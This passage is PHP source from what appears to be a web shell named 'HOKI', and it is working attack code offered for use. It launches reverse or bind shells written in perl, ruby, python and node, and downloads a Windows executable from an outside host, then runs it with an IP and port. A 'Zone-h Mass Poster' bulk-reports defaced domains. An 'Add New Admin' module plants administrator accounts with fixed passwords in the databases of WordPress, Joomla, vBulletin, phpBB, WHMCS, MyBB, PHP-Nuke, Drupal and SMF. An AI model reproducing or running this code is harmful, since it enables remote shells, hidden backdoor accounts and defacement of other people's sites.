$port = $_POST['hoki3'];
$arg = ($_POST['hoki4']=='bind'?$port:$port.' '.$ip);
$tmpdir = HOKI_TEMPDIR;
$name = $tmpdir.'/'.$lang.uniqid().rand(1,99999);
$allow = array('perl','ruby','python','node');
eval('$lan=$'.$lang.';');
if(in_array($lang,$allow)){
if(__write_file($name,__get_resource($lan))){
if(_hoki_can_runCommand(true,true)){
$os = ($GLOBALS['sys']!='win')?'1>/dev/null 2>&1 &':'';
$out = hokiEx("$lang $name $arg $os");
if($out==''){$out="<font color='green'><center>[ Finished...! ]</center></font>";}
echo("<pre class='ml1' style='margin-top:5px'>{$out}</pre>");
}
}else{
echo("<pre class=ml1 style='margin-top:5px'><font color='red'><center>[ Failed...! ]</center></font></pre>");
}
}
if($lang=='java'||$lang=='c'){
$code = __get_resource($lan);
$out = nl2br(bcinit($lang, $code,'',''));
echo("<pre class=ml1 style='margin-top:5px'><center>{$out}</center></pre>");
}
if($lang=='bcwin'){
$hoki = new HokiCURL();
$s = $hoki->Send('http://solevisible.com/bc/windows.exe');
$tmpdir = HOKI_TEMPDIR;
$f = @fopen($tmpdir.'/bcwin.exe','w+');
@fwrite($f, $s);
@fclose($f);
$out = hokiEx($tmpdir."/bcwin.exe ".$_POST['hoki2']." ".$_POST['hoki3']);
}
if($lang=='php'){
echo "<pre class=ml1 style='margin-top:5px'>";
$code = __get_resource($lan);
if($code!==false){
$code = "\$target = \"".$arg."\";
".$code;
eval($code);
echo("<center><font color='green'>[ Finished...! ]</font></center>");
}
echo "</pre>";
}
}
echo "</div>";
hokifooter();
}
function hokizoneh(){
hokihead();
echo '<div class=header>';
if(!function_exists('curl_version')){
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red><b><big><big>PHP CURL NOT EXIST ~ ZONE H MASS POSTER DOES NOT WORK</b></font></big></big></center></pre>";
}
$hackmode = array('known vulnerability (i.e. unpatched system)','undisclosed (new) vulnerability','configuration / admin. mistake','brute force attack','social engineering','Web Server intrusion','Web Server external module intrusion','Mail Server intrusion','FTP Server intrusion','SSH Server intrusion','Telnet Server intrusion','RPC Server intrusion','Shares misconfiguration','Other Server intrusion','SQL Injection','URL Poisoning','File Inclusion','Other Web Application bug','Remote administrative panel access bruteforcing','Remote administrative panel access password guessing','Remote administrative panel access social engineering','Attack against administrator(password stealing/sniffing)','Access credentials through Man In the Middle attack','Remote service password guessing','Remote service password bruteforce','Rerouting after attacking the Firewall','Rerouting after attacking the Router','DNS attack through social engineering','DNS attack through cache poisoning','Not available','Cross-Site Scripting');
$reason = array('Heh...just for fun!','Revenge against that website','Political reasons','As a challenge','I just want to be the best defacer','Patriotism','Not available');
echo '
<center><br><div class="txtfont_header">| Zone-h Mass Poster |</div><center><br>
<form action="" method="post" onsubmit="g(\'zoneh\',null,this.defacer.value,this.hackmode.value,this.reason.value,this.domain.value,\'>>\'); return false;">
<input type="text" name="defacer" size="67" id="text" placeholder="HOKI TEaM 2012" />
<br>
<select id="text" name="hackmode" style="width:400px;">';
$x=1;
foreach($hackmode as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br><select id="text" name="reason" style="width:200px;">';
$x=1;
foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
echo '</select><br>
<textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
<p><input type="submit" value=" " name="go" /></p>
</form></center>';
if($_POST['hoki5'] && $_POST['hoki5'] == '>>'){
ob_start();
$hacker = $_POST['hoki1'];
$method = $_POST['hoki2'];
$neden = $_POST['hoki3'];
$site = $_POST['hoki4'];
if(empty($hacker)){
die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
}elseif($method == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
}elseif($neden == "------------------------------------SELECT-------------------------------------"){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
}elseif(empty($site)){
die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
}
$i = 0;
$sites = explode("
", $site);
$hoki = new HokiCURL();
while($i < count($sites)){
if(substr($sites[$i], 0, 4) != "http"){
$sites[$i] = "http://".$sites[$i];
}
$hoki->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
++$i;
}
echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
}
echo "</div>";
hokifooter();
}
function hokipwchanger(){
hokihead();
echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
<center><h3>';
$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
Hoki_Create_A_Tag('pwchanger',$vals);
echo '</h3></center>';
if(isset($_POST['hoki1'])&&$_POST['hoki1']=='wp'){
echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
<p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form>';
if ($_POST['hoki2'] && $_POST['hoki2'] == '>>'){
$localhost = $_POST['hoki3'];
$database = $_POST['hoki4'];
$username = $_POST['hoki5'];
$password = $_POST['hoki6'];
$admin = $_POST['hoki8'];
$SQL = $_POST['hoki9'];
$prefix = $_POST['hoki10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
$kise = @mysqli_num_rows($kiseryouni);
if ($kise == 1){
$kisevis = @mysqli_fetch_assoc($kiseryouni);
$res = $kisevis['ID'];
}
$kiseryouni=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','kiseryouni'),(null,'".$res."','last_name','kiseryouni'),(null,'".$res."','nickname','kiseryouni'),(null,'".$res."','description','kiseryouni'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['hoki2'] && $_POST['hoki2'] == 'joomla'){
echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki3'];
$database = $_POST['hoki4'];
$username = $_POST['hoki5'];
$password = $_POST['hoki6'];
$admin = $_POST['hoki8'];
$SQL = $_POST['hoki9'];
$prefix = $_POST['hoki10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
$kise =@mysqli_num_rows($kiseryouni);
if ($kise == 1){
$kisevis =@mysqli_fetch_assoc($kiseryouni);
$res = $kisevis['id'];
}
$kiseryouni=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['hoki4'] && $_POST['hoki4'] == 'vb'){
echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki3'];
$username = $_POST['hoki5'];
$password = $_POST['hoki6'];
$prefix = $_POST['hoki7'];
$admin = $_POST['hoki8'];
$SQL = $_POST['hoki9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$kiseryouni=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$kiseryouni=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$kiseryouni=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
$kise = mysqli_num_rows($kiseryouni);
if($kise == 1){
$kisevis = mysqli_fetch_assoc($kiseryouni);
$res = $kisevis['userid'];
}
$kiseryouni=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['hoki5']) && $_POST['hoki5'] == 'phpbb'){
echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki3'];
$username = $_POST['hoki4'];
$password = $_POST['hoki6'];
$admin = $_POST['hoki8'];
$SQL = $_POST['hoki9'];
$prefix = $_POST['hoki10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5('kiseryouni');
$kiseryouni=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');
}
}
}
if(isset($_POST['hoki6']) && $_POST['hoki6'] == 'whmcs'){
echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki3'];
$username = $_POST['hoki4'];
$password = $_POST['hoki5'];
$admin = $_POST['hoki8'];
$SQL = $_POST['hoki9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['hoki7']) && $_POST['hoki7'] == 'mybb'){
echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki3'];
$username = $_POST['hoki4'];
$password = $_POST['hoki5'];
$admin = $_POST['hoki8'];
$SQL = $_POST['hoki9'];
$prefix = $_POST['hoki10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['hoki8']) && $_POST['hoki8'] == 'nuke'){
echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => '[email protected]', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki3'];
$username = $_POST['hoki4'];
$password = $_POST['hoki5'];
$admin = $_POST['hoki7'];
$SQL = $_POST['hoki9'];
$prefix = $_POST['hoki10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$kiseryouni=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['hoki9']) && $_POST['hoki9'] == 'drupal'){
echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true)
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki4'];
$username = $_POST['hoki5'];
$password = $_POST['hoki6'];
$admin = $_POST['hoki8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$kiseryouni=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','[email protected]','filtered_html','1','Europe/Berlin','[email protected]')") or die(mysqli_error($conn));
$kiseryouni=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
$kise = mysqli_num_rows($kiseryouni);
if ($kise == 1){
$kisevis = mysqli_fetch_assoc($kiseryouni);
$res = $kisevis['uid'];
}
$kiseryouni=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['hoki10']) && $_POST['hoki10'] == 'smf'){
echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'kiseryouni', 'inputSize' => '50', 'disabled' => true),
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['hoki1'] && $_POST['hoki1'] == '>>'){
$localhost = $_POST['hoki2'];
$database = $_POST['hoki3'];
$username = $_POST['hoki5'];
$password = $_POST['hoki6'];
$prefix = $_POST['hoki7'];
$admin = $_POST['hoki8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'kiseryouni');
$kiseryouni=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','[email protected]')") or die(mysqli_error($conn));
if($kiseryouni){
__alert('Success... '.$admin.' is created...');}
}
}
echo "</div>";
hokifooter();
}
function hokiMakePwd(){
